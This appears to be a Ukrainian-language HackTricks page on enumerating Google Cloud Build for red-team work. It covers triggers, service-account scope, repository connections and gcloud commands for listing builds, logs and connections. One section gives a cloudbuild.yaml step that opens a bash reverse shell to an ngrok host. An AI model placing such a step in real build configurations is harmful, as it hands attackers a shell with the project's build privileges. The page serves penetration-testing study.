GCP - Cloud Build Enum
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Основна інформація
Google Cloud Build - це керована CI/CD платформа, яка автоматизує процеси створення та випуску програмного забезпечення, інтегруючись з репозиторіями вихідного коду та підтримуючи широкий спектр мов програмування. Вона дозволяє розробникам автоматично створювати, тестувати та розгортати код, надаючи можливість налаштовувати етапи створення та робочі процеси.
Кожен тригер Cloud Build пов'язаний з Cloud Repository або безпосередньо підключений до зовнішнього репозиторію (Github, Bitbucket та Gitlab).
tip
Я не зміг знайти жодного способу вкрасти токен Github/Bitbucket звідси або з Cloud Repositories, оскільки, коли репозиторій завантажується, він доступний через URL https://source.cloud.google.com/, а Github не доступний клієнтом.
Події
Cloud Build може бути активований, якщо:
- Push до гілки: Вкажіть гілку
- Push нового тегу: Вкажіть тег
- Pull request: Вкажіть гілку, яка отримує PR
- Ручний виклик
- Повідомлення Pub/Sub: Вкажіть тему
- Подія Webhook: Відкриє HTTPS URL, і запит повинен бути аутентифікований за допомогою секрету
Виконання
Є 3 варіанти:
- YAML/JSON з вказівкою команд для виконання. Зазвичай:
/cloudbuild.yaml
- Лише один, який можна вказати “inline” у веб-консолі та в CLI
- Найбільш поширений варіант
- Важливий для неавтентифікованого доступу
- Dockerfile для створення
- Buildpack для створення
Дозволи SA
Обліковий запис служби має область cloud-platform
, тому він може використовувати всі привілеї. Якщо не вказано SA (як при подачі), буде використано за замовчуванням SA <proj-number>@cloudbuild.gserviceaccount.com
.
За замовчуванням не надаються дозволи, але їх досить легко надати:
.png)
Затвердження
Можна налаштувати Cloud Build, щоб вимагати затвердження для виконання збірок (за замовчуванням вимкнено).
Затвердження PR
Коли тригер є PR, оскільки будь-хто може виконувати PR до публічних репозиторіїв, було б дуже небезпечно просто дозволити виконання тригера з будь-яким PR. Тому за замовчуванням виконання буде автоматичним лише для власників та співпрацівників, і для виконання тригера з PR інших користувачів власник або співпрацівник повинен прокоментувати /gcbrun
.
.png)
З'єднання та репозиторії
З'єднання можуть бути створені через:
- GitHub: Відобразить запит OAuth, що запитує дозволи на отримання токена Github, який буде збережено в Secret Manager.
- GitHub Enterprise: Запитає встановити GithubApp. Аутентифікаційний токен з вашого хосту GitHub Enterprise буде створено та збережено в цьому проекті як секрет Secret Manager.
- GitLab / Enterprise: Вам потрібно надати токен доступу API та токен доступу для читання API, які будуть збережені в Secret Manager.
Після створення з'єднання ви можете використовувати його для зв'язування репозиторіїв, до яких має доступ обліковий запис Github.
Ця опція доступна через кнопку:
.png)
tip
Зверніть увагу, що репозиторії, підключені цим методом, доступні лише в тригерах, що використовують 2-ге покоління.
Підключити репозиторій
Це не те саме, що з'єднання
. Це дозволяє різні способи отримати доступ до репозиторію Github або Bitbucket, але не генерує об'єкт з'єднання, але генерує об'єкт репозиторію (1-го покоління).
Ця опція доступна через кнопку:
.png)
Сховище
Іноді Cloud Build генерує нове сховище для зберігання файлів для тригера. Це відбувається, наприклад, у прикладі, який пропонує GCP з:
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global
Створено сховище з назвою security-devbox_cloudbuild для зберігання .tgz
з файлами, які будуть використані.
Отримати оболонку
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
Встановіть gcloud всередині cloud build:
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh
Перерахунок
Ви можете знайти чутливу інформацію в конфігураціях збірки та журналах.
# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>
# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs
# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done
# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done
Підвищення Привілеїв
Неавтентифікований Доступ
GCP - Cloud Build Unauthenticated Enum
Після Експлуатації
GCP - Cloud Build Post Exploitation
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.